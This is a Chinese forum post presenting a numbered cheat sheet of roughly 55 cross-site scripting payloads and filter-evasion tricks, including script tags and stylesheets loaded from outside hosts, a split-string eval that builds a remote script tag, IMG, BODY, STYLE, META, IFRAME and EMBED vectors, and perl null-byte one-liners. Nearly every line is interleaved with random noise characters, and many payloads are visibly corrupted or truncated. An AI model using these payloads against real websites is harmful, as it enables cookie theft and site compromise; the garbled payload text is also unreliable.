(1)普通的XSS JavaScript注入
5 o3 J$ \/ Q/ j! ^% f# q<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) v- C% G# o' t/ a
(99)另类弹框
& e; [+ u; J8 [9 ?5 ^9 `<q/oncut=alert()>1# c' g- |6 V9 n2 d, o6 |8 n* q, N
<s/onclick=alert()>b
" `: e6 e6 h# j: J <XSS=" onclick="alert(1)//">clickme</SSX=">7 ], d7 `( v7 M% w* h: r& P5 L
<zzz onclick=alert`1`>clickme</zzz>
8 r+ j* c' M$ ?: X$ u% T( g1 \ <a onclick=alert`1`>clickme</a>! ~* @: i+ e( J* o( h# t$ @7 l9 D
<a=">clickme</a=">8 N) u0 u. C& p, q* o. [
<a=">clickme</a>( o8 g5 a1 w; f. h$ _" [: L# q u
<z=">clickme</z=">: U, }' ?+ X- I H, {8 w% s4 b
<z onclick=alert`1`>clickme</z>; M$ M }- H: Y6 h+ L1 b' n
4 ~7 k) w1 n/ c' e: W8 g2 B2 o(2)IMG标签XSS使用JavaScript命令3 S1 H+ x) @$ R/ x# R" `
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 p1 a$ F# C* W* q/ D" C
4 j4 D& [& L+ q; N# y(3)IMG标签无分号无引号
" c/ c; q6 A8 p* C! P7 n<IMG SRC=javascript:alert(‘XSS’)>
: y9 q3 B5 c/ {2 O
2 \& E- x9 ]4 C1 |& t7 V4 I. l8 x(4)IMG标签大小写不敏感* C; X4 b! ~- y% _" D
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
/ ]& R6 V- L: a7 l' ^4 j' M W7 p# p. S' ]9 F- G6 Y$ l% K0 }
(5)HTML编码(必须有分号)7 m, X9 }; k0 f+ d2 S
<IMG SRC=javascript:alert(“XSS”)>8 G2 P' M( e/ E4 I0 h/ {
) i& l# \. j, c/ n
(6)修正缺陷IMG标签
+ U3 q9 l7 N' Q( n<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>5 P5 C Y; f( a& Y
2 G7 M* m6 y; L, R(7)formCharCode标签(计算器)
! `* s$ q. \$ z; n& p) S* Y8 U<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& v/ E/ p' \/ p# i! W
! M4 k6 B; `7 k. q, a P- r; J(8)UTF-8的Unicode编码(计算器)2 a# X o4 i% r3 O" B8 n& r1 l
<IMG SRC=jav..省略..S')># U. o' v9 h1 N3 c' I
V8 ]; X* f5 d1 X8 e/ v; l/ z {(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
3 ]9 m2 \! P4 x% ^: R<IMG SRC=jav..省略..S')>
: }( Q. N% m4 c( p/ p! m8 X; } h5 l" b% w& i
(10)十六进制编码也是没有分号(计算器)
j: W# }/ v9 e5 x9 r<IMG SRC=\'#\'" /span>
+ j1 h! V9 j# |0 s0 \! r
2 r! ] Z% J1 Y5 `0 G(11)嵌入式标签,将Javascript分开* A Q& C9 H) S* b' C; \) U
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( S8 j8 M3 i4 [/ j+ A
/ K) K. Y' I l% g$ [3 e- k; d(12)嵌入式编码标签,将Javascript分开% ~8 {% ]5 I" E+ B6 I
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
b8 J6 _3 L2 q8 Y8 j2 b
' j/ p, g1 B* f! s" ^(13)嵌入式换行符/ g8 M) a( r: `4 o, N. E
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
! G+ p) e! M! o8 N7 v$ h& }8 K5 I) R: A1 f
(14)嵌入式回车6 t; z' ?3 F* f6 E9 v4 G4 U& K
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
* U# k1 c& M9 S
3 n- S* i$ R ~2 ~. C(15)嵌入式多行注入JavaScript,这是XSS极端的例子% m( V0 ]. N0 p4 {2 C
<IMG SRC=\'#\'" /span>. s# p5 l# B, e7 J
3 l0 B: O' n* k2 S) `
(16)解决限制字符(要求同页面)& j1 B: c6 d( G
<script>z=’document.’</script>$ Q. `9 f; b6 K6 |& U9 q' D
<script>z=z+’write(“‘</script>6 N# {& E: O0 A5 I1 K, G1 G; e& y
<script>z=z+’<script’</script>
X$ p: v' _6 N( ^<script>z=z+’ src=ht’</script>9 J5 ?, J! Q+ d+ V$ \6 l2 O
<script>z=z+’tp://ww’</script>- g. P. v" N) w* [: v, D9 X1 G1 R. y
<script>z=z+’w.shell’</script>
1 r4 p& n: U& v5 {' R+ k! z<script>z=z+’.net/1.’</script>
3 d$ Z9 j' X, K i<script>z=z+’js></sc’</script>
. I6 p4 Y! W# O4 V) f4 B<script>z=z+’ript>”)’</script>3 |; y- v5 R0 v% {& W
<script>eval_r(z)</script>" F+ h' `( U4 h8 R& A* H: J; g! p
. @9 O9 v2 v. E- n. e
(17)空字符$ m& }5 h) C7 y. g7 a
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
/ q1 Q' D6 D2 ]9 e$ [+ T
: R$ [: Z; X1 q" C1 j(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
; H0 |; q& a" k5 V: A' L0 Y9 Qperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out. U1 Q6 h: Z- L# M, G; j
; f& g/ _2 L) e- \/ [
(19)Spaces和meta前的IMG标签+ A2 T5 o* ]/ e `+ V
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
; D( Q' G4 q8 c
5 A5 i0 ?+ r/ |/ ~$ C(20)Non-alpha-non-digit XSS
; d7 \ I6 K2 z0 G0 ]7 F<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>7 ?3 w1 P! K1 f/ j3 w- h
5 [) s; S0 ^3 F: Q: C3 q2 d. w(21)Non-alpha-non-digit XSS to 23 u3 w" N* W4 v2 b$ d0 l& a$ s" v
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
1 t( D* t; y/ u) s/ L+ \, A0 S4 ~9 d; j8 F" Y$ v
(22)Non-alpha-non-digit XSS to 3
: Y1 y5 T, Q: l<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>" O1 z* _' d) k; g: w% ?8 ?
) i- Q% c! z H4 C/ b, ^2 p G
(23)双开括号
/ G/ Q" y7 l. m" o* g& K% L<<SCRIPT>alert(“XSS”);//<</SCRIPT>, w( B4 E6 d1 k+ ~- E% Z' f0 m
% i2 x6 L% }9 G7 F+ W(24)无结束脚本标记(仅火狐等浏览器)/ ^- m; M! N; O4 ?
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>0 g6 \* s# P1 T6 o5 ?
6 M3 N7 V2 B: |: s, [(25)无结束脚本标记2: d6 F+ \& W. b
<SCRIPT SRC=//3w.org/XSS/xss.js>
( `; h. ^5 f9 `$ x) y' u t. y
5 K$ C+ t5 ^! u2 K(26)半开的HTML/JavaScript XSS" V) i8 U1 e$ b( B
<IMG SRC=\'#\'" /span>7 w' y; k; _% r- Z
% I2 `, y# l5 B* \3 E(27)双开角括号: M6 z A9 k' [
<iframe src=http://3w.org/XSS.html <
6 \: F! o1 r# a' f
2 m$ Q1 F3 q% ]. t, }. F/ U$ c5 _% X2 |$ k(28)无单引号 双引号 分号
& _- \7 _* w$ @9 R<SCRIPT>a=/XSS/( Z1 t9 Z, J2 c2 h* ^
alert(a.source)</SCRIPT>
% v. w1 P* b; J. [ y1 w$ b* J7 X9 F9 I/ i3 V3 u. C
(29)换码过滤的JavaScript- @7 A w& K* |6 H& b; U
\”;alert(‘XSS’);//, @& z2 z9 V" y8 S+ m6 H
8 e4 R4 h/ M* y- C; `, j" Q(30)结束Title标签
& l0 ?( O' u ?7 \) R$ h</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
! r, E) @/ y5 ^7 x) i2 y0 Y( u5 R) c; ]
(31)Input Image
$ h. z9 Z9 N8 W3 Q1 [8 u1 k<INPUT SRC=\'#\'" /span>% j! |7 t$ ]5 ^0 B$ [# V
9 z- g2 }+ b' @
(32)BODY Image0 b4 V' q; q, D- z# x' B8 i" _
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
6 P( D: y7 {7 v+ [; a1 w
# ]0 B4 o: G( p, _* p(33)BODY标签
6 t# }1 {. o7 H& _( v l+ S" b<BODY(‘XSS’)>
% }9 |( `6 [! t. n# B1 j/ `0 L& v
$ o2 \7 k+ K$ n; v9 Q(34)IMG Dynsrc" k. Z# {5 C0 I$ {5 c6 n$ a/ t5 H
<IMG DYNSRC=\'#\'" /span>
7 p- e9 E; r G6 f4 f) [8 `- q4 C* s+ W3 i+ X7 A' M# v
(35)IMG Lowsrc
: o7 ~1 E! [, E+ M" W<IMG LOWSRC=\'#\'" /span>
% ?8 |1 E6 F& S/ j
1 L/ F1 Q. `" x& E6 O1 Z0 i(36)BGSOUND6 L+ m) P8 W3 R& H0 o
<BGSOUND SRC=\'#\'" /span>
3 S7 O( b% R2 @& }1 |2 w% j6 D8 V
(37)STYLE sheet
$ W; Z8 A5 V; z( S: A* e' J4 P0 p<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>, y2 u; O, p8 o9 c- p
5 g: `; J# ?- d' x( @8 N(38)远程样式表
1 W& t+ ]$ Z/ L+ b. Q8 l+ j<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
4 `- k- u W% f: c9 h# q# ]# s8 [
; }- y* u+ t1 f8 t$ {0 T+ ](39)List-style-image(列表式)
( v" \- w) {, a3 T1 v7 q* U<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
+ B n/ w) f* o2 t
( _; G3 C) s7 z(40)IMG VBscript* u* ^6 M j% t9 {0 O2 K. r7 a) i
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
. @# Z4 k- I; o# ], @7 V5 A( p3 V' b3 p* _& x6 O0 X
(41)META链接url
1 W2 L! t9 p! `; p0 G1 B! P( O<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
5 _* J# J6 c3 r# \7 h2 z& n6 B" j( e `( c& k7 j8 t- H
(42)Iframe
/ F, W6 h, m( @<IFRAME SRC=\'#\'" /IFRAME>
1 o5 E E, `2 `4 F2 N; x+ I
) c/ H; m# I& ?3 E9 s(43)Frame) m v6 n3 u/ R* H2 L
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
% H1 k2 y( o% L& J7 ^& J
3 ]+ u! K8 k! f1 G# t, O(44)Table* O2 R6 z: d3 c [% B
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
$ \5 Z0 ~8 `" ] L7 x. e* \1 {
! c9 s5 q6 _, w2 M5 N# K: a& N(45)TD
1 j) t# ^ x7 T8 q- O6 E. [<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
9 `4 P4 M) J5 ?& l' b
3 r6 M, f0 t- L! k s* m2 T(46)DIV background-image
9 L0 L) ~* t. k<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! m: i% D" a! N
' a! l4 k$ V2 @1 A! X& U2 T( z(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)0 \8 B" ]5 s! m) y6 a9 S! i
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. ?- }; z! T; g7 f8 X2 I* ?, c2 ?# \1 R$ ?. |
(48)DIV expression3 n A, v5 S8 O
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>( K* L9 z( {; W# ?( Q8 x1 q. P1 R _/ c
( D, u2 y' n7 \2 L4 p' B(49)STYLE属性分拆表达+ R' Z6 Y! e; ]9 X8 r
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- X8 s0 l# c+ v& X* z% M2 K( `
/ U6 N9 c0 i# y3 J/ n(50)匿名STYLE(组成:开角号和一个字母开头)2 R' V& o& i8 M- U
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
8 L* D" Z0 O9 K5 l# l& E( y
: s# z% y2 I& }9 R( g- i1 m' ^- {# h(51)STYLE background-image
, F% g# X9 R+ G1 o7 p<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>( e6 k) r: g' ~: r E8 h% G
% t5 K4 p5 A7 \: O- v(52)IMG STYLE方式4 }5 P9 |# Q- u8 a
exppression(alert(“XSS”))’>
6 y. G W- R* i' M1 R6 z3 J. ?! E" \1 u5 q
(53)STYLE background
5 {& U& z! n7 o) w/ p) M<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> Z; {9 l. L! T$ d
9 g! ]" U$ A$ F' V* r/ A
(54)BASE
& E; w9 C# @! l) m! w) L0 y<BASE HREF=”javascript:alert(‘XSS’);//”>
# [' y6 M" ~5 l2 u( J) \
& w7 B. V/ u, F(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
4 N: I- m: s; J7 d5 [: o3 ^' B<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>( k2 Y# q' s) I" M5 i
|
发表于 2016-4-28 10:06:15
收藏
支持
反对